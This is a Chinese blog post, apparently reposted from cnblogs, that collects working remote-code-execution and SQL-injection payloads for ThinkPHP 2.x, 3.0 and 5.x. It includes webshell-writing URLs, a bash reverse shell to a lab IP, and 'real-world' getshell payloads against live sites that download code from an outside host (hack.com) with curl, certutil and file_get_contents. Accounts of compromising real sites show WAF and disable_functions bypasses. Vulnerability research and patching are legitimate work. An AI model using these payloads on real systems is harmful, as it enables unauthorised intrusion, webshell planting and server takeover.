ICode9

精准搜索请尝试: 精确搜索
首页 > 编程语言> 文章详细

thinkphp漏洞复现

2021-12-30 13:33:09  阅读:829  来源: 互联网

标签:function index vars 漏洞 复现 thinkphp array php user


0x00:总述

在版本小于5.0.13,不开启debug的情况下 会通过变量覆盖修改$request类的变量的值通过bindParams中的param函数进行任意函数调用

_method=__construct&method=get&filter=system&s=whoami

在版本小于5.0.13,开启debug的情况下会执行命令两次 一次在bindParams的param 一次在run()中的param函数

_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,开启debug的情况下,在run()中的param函数执行命令

_method=__construct&method=get&filter=system&s=whoami

在版本大于5.0.13小于5.0.21情况下,不开启debug的下需要完整版thinkphp,在method分支下param函数rce

POST /index.php?s=captcha
_method=__construct&method=get&filter=system&s=whoami

在大于5.0.21小于等于5.0.23的情况下,由于修改了method函数的逻辑,无法随意用变量,这里统一用只能用get[],route[]。
完整版ThinkPHP如下

POST /index.php?s=captcha
_method=__construct&method=get&filter=system&get[]=whoami
_method=__construct&method=get&filter=system&route[]=whoami

开启debug如下

_method=construct&method=get&filter=system&route[]=whoami

在5.0.24的时候由于限制了表单请求伪装传入的参数,传入的参数只能为限定的参数,无法进行request类下任意函数调用

0x01:ThinkPHP 2.x和3.0 任意代码执行漏洞

使用preg_replace的/e模式匹配路由,导致用户的输入参数被插入双引号中执行,造成任意代码执行漏洞。

影响版本

Thinkphp 2.x, ThinkPHP 3.0版本(Lite模式)

漏洞复现

image-20210729123530053

payload:

http://172.22.0.1:8080//index.php?s=/index/index/name/${phpinfo()}
http://172.22.0.1:8080//index.php?s=/a/b/c/${phpinfo()}

image-20210729124415633

写入Webshell

http://172.22.0.1:8080/index.php?s=a/b/c/${@print(eval($_POST[shell]))}

image-20210729124719782

调用Webshell

image-20210729124841978

蚁剑连接

image-20210729132136319

反弹shell

bash -i >& /dev/tcp/192.168.88.133/4444 0>&1

0x02:ThinkPHP5.0.0- 5.0.23 远程代码执行漏洞

​ 5.0.23以前的版本中,获取method的方法中没有正确处理方法名,导致攻击者可以调用Request类任意方法并构造利用链,从而导致远程代码执行漏洞。

影响版本

Thinkphp 5.0.0~ 5.0.23

漏洞复现

http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

image-20210729133336991

打算写入一句话木马,发现$_POST被过滤掉了,经过测试,只要检测到$_这样的字符串,其后面的字符会被过滤掉一部分,其实只要在$符号前用\转义就行

image-20210729134909356

尝试base64编码写入,完整的webshell

image-20210729140000821

http://192.168.88.133:8080/?s=captcha
POST提交:
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php

image-20210729141939649

蚁剑连接

image-20210729141719418

0x03:ThinkPHP5 5.0.22/5.1.29 远程代码执行漏洞

ThinkPHP是一款运用极广的PHP开发框架。其版本5中,由于没有正确处理控制器名,导致在网站没有开启强制路由的情况下(即默认情况下)可以执行任意方法,从而导致远程命令执行漏洞。

影响版本

ThinkPHP5 5.0.22/5.1.29

漏洞复现

image-20210729142827682

payload:

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1

image-20210729143015496

payload

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]=id

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami

image-20210729143148073

同样的利用base64编码写入webshell

http://192.168.88.133:8080/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n PD9waHAgQGV2YWwoJF9QT1NUWydzaGVsbCddKTs/Pgo= | base64 -d >shell.php

成功写入

image-20210729143519818

getshell

image-20210729143610022

0x04:ThinkPHP5 SQL注入漏洞 && 敏感信息泄露

影响版本

ThinkPHP < 5.1.23

payload

http://your-ip/index.php?ids[0,updatexml(0,concat(0xa,user()),0)]=1

信息成功被爆出:

img

通过DEBUG页面,我们找到了数据库的账号、密码:

img

这又属于一个敏感信息泄露漏洞。不允许子查询的SQL注入点

0x05:ThinkPHP5.x.x各版本实战环境getshell

-5.1.18

http://www.xxxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index_bak2.php',file_get_contents('https://www.hack.com/xxx.js'));?>

-5.0.5

waf对eval进行了拦截禁止了assert函数对eval函数后面的括号进行了正则过滤对file_get_contents函数后面的括号进行了正则过滤
http://www.xxxx.com/?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=2.php&vars[1][1]=<?php /*1111*//***/file_put_contents/*1**/(/***/'index11.php'/**/,file_get_contents(/**/'https://www.hack.com/xxx.js'))/**/;/**/?>

-5.1.18

所有目录都无写权限,base64函数被拦截
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_POST[1])

-5.0.18

windowshttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][0]=1
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo()
使用certutilhttp://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=passthru&vars[1][0]=cmd /c certutil -urlcache -split -f https://www.hack.com/xxx.js uploads/1.php由于根目录没写权限,所以写到uploads

-5.0.14

eval('')和assert('')被拦截,命令函数被禁止
http://www.xxxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=phpinfo();
http://www.xxx.com/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][0]=eval($_GET[1])&1=call_user_func_array("file_put_contents",array("3.php",file_get_contents("https://www.hack.com/xxx.js")));

-5.0.11

http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][0]=curl https://www.hack.com/xxx.js -o ./upload/xxx.php

-5.0.14

php7.2http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=1.txt&vars[1][1]=1
http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][0]=index11.php&vars[1][1]=<?=file_put_contents('index111.php',file_get_contents('https://www.hack.com/xxx.js'));?>写进去发现转义了尖括号
通过copy函数http://www.xxxx.cn/?s=admin/\think\app/invokefunction&function=call_user_func_array&vars[0]=copy&vars[1][0]= https://www.hack.com/xxx.js&vars[1][1]=112233.php

0x06:实战文章

第一篇:https://mp.weixin.qq.com/s/itfVog0HMNf5CizM7-QF5w

发现某站部署Thinkphp v5系统,并且在系统配置中是默认配置的debug模式:

图片

在debug状态下,我们知道网站的绝对路径,并且ThinkPHP版本号为V5.0.x,由于开启debug状态,构造相应payload进行探测

POST:_method=__construct&filter[]=system&get[]=whoami

发现php配置文件中应该设置了disabled_function:

图片

我们知道在phpinfo()中即使加入参数,也不影响其执行,因此

call_user_func('phpinfo()','1')

同样能够执行

先看一波phpinfo看看禁用哪些函数,发现还设置了open_basedir

图片

图片

passthru,exec,system,chroot,chgrp,chown,shell_exec,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru

把最为常用的函数禁用了,当该PHP版本低于7.2,因此assert这个关键的函数并没有过滤,也就意味着我们能先使用assert来做一些操作,本来是直接构造

POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);

然后用antsword连上就好,但是发现并不能成功连接,原因可能是antsword和菜刀仅支持eval后门,可能现在就需要换一换思路:

在默认配置中,file_get_contents可以读取URL内容并进行输出,并且file_get_contents是不会被ban的,这里先验证一下:

POST:_method=__construct&filter[]=assert&get[]=assert($_POST[1]);&1=print(file_get_contents("./index.php"));

图片

因此直接结合网站绝对路径,我们知道在public是面向用户的,我们可以利用file_get_contents读取马后使用file_put_contents写入到public目录下,这样就能够一句话进行连接

_method=__construct&filter[]=assert&get[]=$a=(file_get_contents("http://马的地址"));$b=file_put_contents('网站根目录/public/xxx.php',$a);

最终getshell

图片

可见如果目前还在使用Thinkphp5.0版本是十分危险的,应该及时更新版本或者相应打上补丁

第二篇 :https://mp.weixin.qq.com/s/U_9vzqD0YTm9U-eA-XVngg

项目里遇到一个站,用的是ThinkPHP V5.0.*框架,且开启了debug模式,本以为一发payload的就能解决的事情,没想到拿下的过程还得小绕一下...

  1. 尝试命令执行,system被限制了

图片

  1. 尝试包含日志文件,open_basedir限制了

图片

  1. 这里有个思路,可以去包含runtime下的日志文件,但是thinkphp的日志文件比较大,而且有时候会有很多奇怪的问题阻断代码执行,暂且作为备选方案

图片

  1. 尝试通过thinkphp本身Library中设置Session的方法把脚本写入tmp目录里的Session文件,然后进行包含
_method=__construct&filter[]=think\Session::set&method=get&server[REQUEST_METHOD]=<? phpinfo();?>

但是。。。

图片

俗话说,三个臭皮匠顶一个诸葛亮,求助师傅们后,给出了解决的办法

  1. Noel 师傅和HTF师傅的解决方法及分析:

图片

Request.php的filtervalue函数下存在call_user_func,根据Payload,跟踪下流程

首先会进入App.php的Run方法

public static function run(Request $request = null){        ………………………………
        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {            /*执行当前类的routeCheck方法,获取调度信息,如访问index模块下index控制器里的index方法,则
                $dispatch = array(2) { ["type"]=> string(6) "module"
                    ["module"]=> array(3) {
                        [0]=> string(5) "index" [1]=> string(5) "index" [2]=> string(5) "index" } }
                */
            $dispatch = self::routeCheck($request, $config);
        }        // 记录当前调度信息 将获取的调度信息,即模块,控制器,方法名存入Request类的dispatch属性中
        $request->dispatch($dispatch);        // 记录路由和请求信息 调式模式,在\application\config.php 参数app_debug可配置
        if (self::$debug) {
            Log::record('[ ROUTE ] ' . var_export($dispatch, true), 'info');
            Log::record('[ HEADER ] ' . var_export($request->header(), true), 'info');
            Log::record('[ PARAM ] ' . var_export($request->param(), true), 'info');
        }        ………………………………}

这里我们主要关注routeCheck和param两个函数,先看routeCheck

public static function routeCheck($request, array $config)
    {
        $path   = $request->path();
        $depr   = $config['pathinfo_depr'];
        $result = false;      ………………………………
        // 路由检测(根据路由定义返回不同的URL调度)
        $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

主要是将请求参数什么的传入,经过check后就基本上都处理好了

图片

在调试模式开启的情况下可以进入param函数

if (empty($this->param)) {
            $method = $this->method(true);
    ......        $this->param = array_merge($this->get(false), $vars, $this->route(false));
}return $this->input($this->param, $name, $default, $filter);    

跟进input函数

    public function input($data = [], $name = '', $default = null, $filter = '')
    {

		......
        $filter = $this->getFilter($filter, $default);        if (is_array($data)) {
            array_walk_recursive($data, [$this, 'filterValue'], $filter);
            reset($data);
        } else {            $this->filterValue($data, $name, $filter);
        }

getFilter取出filter的值,在这里也就是assert

array_walk_recursive

array_walk_recursive() 函数对数组中的每个元素应用用户自定义函数。在函数中,数组的键名和键值是参数。该函数与 array_walk() 函数的不同在于可以操作更深的数组(一个数组中包含另一个数组)。

及对$data的每一个元素应用filterValue函数,跟进filterValue

function filterValue(&$value, $key, $filters){
 ......  
if (is_callable($filter)) {                // 调用函数或者方法过滤
                $value = call_user_func($filter, $value);
            }
......
}
  1. 铳梦师傅和HTF师傅的解决方法及分析:

payload参考:

来自:https://xz.aliyun.com/t/3570#toc-4

http://127.0.0.1/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

执行phpinfo(这里注意看 ?s= 后的参数)

https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=phpinfo()

拿shell

https://127.0.0.1/?s=../\think\app/invokefunction&function=call_user_func_array&vars[0]=assert&vars[1][]=copy('http://127.0.0.1/shell.txt','test.php')

为什么要这么构造呢,给出当前的目录情况以及分析:

图片

Route.php的parseUrl函数会对url进行处理

private static function parseUrl($url, $depr = '/', $autoSearch = false)
    {
        .......
        $url              = str_replace($depr, '|', $url);        list($path, $var) = self::parseUrlPath($url);
    ......
    }

首先将url中的/替换为|之后是parseUrlPath将url分割

   private static function parseUrlPath($url)
    {        // 分隔符替换 确保路由定义使用统一的分隔符
        $url = str_replace('|', '/', $url);
        $url = trim($url, '/');
        $var = [];        if (false !== strpos($url, '?')) {
 			......
            ......
        } elseif (strpos($url, '/')) {            // [模块/控制器/操作]
            $path = explode('/', $url);
        } else {
            ......
        }        return [$path, $var];
    }

得到如下三部分

图片

模块加载时Loder.php下的parseName函数

    public static function parseName($name, $type = 0, $ucfirst = true)
    {        if ($type) {
            $name = preg_replace_callback('/_([a-zA-Z])/', function ($match) {                return strtoupper($match[1]);
            }, $name);            return $ucfirst ? ucfirst($name) : lcfirst($name);
        } else {            return strtolower(trim(preg_replace("/[A-Z]/", "_\\0", $name), "_"));
        }
    }

图片

现在就会实例化\Think\app类并执行invokefunction方法

图片

所以加../\的原因是可以再往前跳一层

查看禁用

图片

  1. 一开始没仔细看禁用的内容,直接就用了这个

https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD

但是发现putenv被禁用了

图片

  1. 换个方法,通过这篇文章

https://mochazz.github.io/2018/09/27/渗透测试之绕过PHP的disable_functions/

了解到利用pcntl扩展,确认系统支持

图片

最终成功执行命令

图片

第三篇 :https://mp.weixin.qq.com/s/-EgERP46Xf73MYEqFiXKEw

0x01 初探
打开这个站,debug开了 还是tp5.1.29 用IP去访问显示lnmp搭建,disable_function只禁用了几个函数

图片

先用tp5.1X通杀版本payload打试试,payload 执行成功

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

图片

使用file_get_contents去getshell,意料之中根目录没有写入权限

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

图片
因为开了debug,有文件路径然后想着一顿操作找路径去写webshell,但是太浪费时间。/tmp目录一般都会有写入权限,如果能写进去 可以进行包含的话就可以进一步操作。包含使用“think__include_file”方法去包含,先试试能否进行包含

先写入一个PHPinfo文件到tmp目录:

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=%3C?php%20phpinfo();?%3E

图片

再去包含它:

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

图片

上图包含在/tmp目录下创建的phpinfo执行成功,前面PHPinfo获取到的"disable_function,“popen" 没有被禁用,就用他来执行一个命令。

执行

"ls -la /home/wwwroot/xxxxxx/public/"

探测web路径下有写入权限的目录, "popen" 执行命令

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/tmp/test1.txt&vars[1][]=<?php $fd = popen("command",'r'); $ret = fgets($fd);$fd = popen("ls -la /home/wwwroot/XXXXXXXXXX/test/public >/tmp/test1.txt", 'r');pclose($fd);print(fgets(fopen("/tmp/test1.txt",'r')));$fd=popen("whoami",'r');while($s=fgets($fd)){print_r($s);}

返回的长度为249:

图片

包含"/tmp/test1.txt"使其执行

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=think\__include_file&vars[1][]=/tmp/test1.txt

执行成功,返回结果权限是"www", ls命令的回显可能没来得及print,使用“readfile”函数去读取"/tmp/test1.txt"即可,"include_file"方法改为"readfile"

图片

图片
成功读取,仅有"static"目录具有权限,到这里就没什么难度了,再用"file_put_contents" 把shell写到static目录即可

?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=/home/wwwroot/XXXXXXXXX/test/public/x.php&vars[1][]=phpshellXXXXXXXXXXXX

行云流水 getshell, 打赏了一包华子收工。

图片
thinkPHP5 RCE漏洞这么多,多走几步路就好了

参考链接:

https://www.mimanchi.online/index.php/archives/12/

0x07:GitHub项目

thinkphp v5.x 远程代码执行漏洞-POC集合 https://github.com/Hel10-Web/thinkphp-RCE-POC-Collection

thinkphp反序列化漏洞复现及POC编写 https://github.com/Dido1960/thinkphp

关于ThinkPHP框架的历史漏洞分析集合 https://github.com/Mochazz/ThinkPHP-Vuln

标签:function,index,vars,漏洞,复现,thinkphp,array,php,user
来源: https://www.cnblogs.com/HelloCTF/p/15748360.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有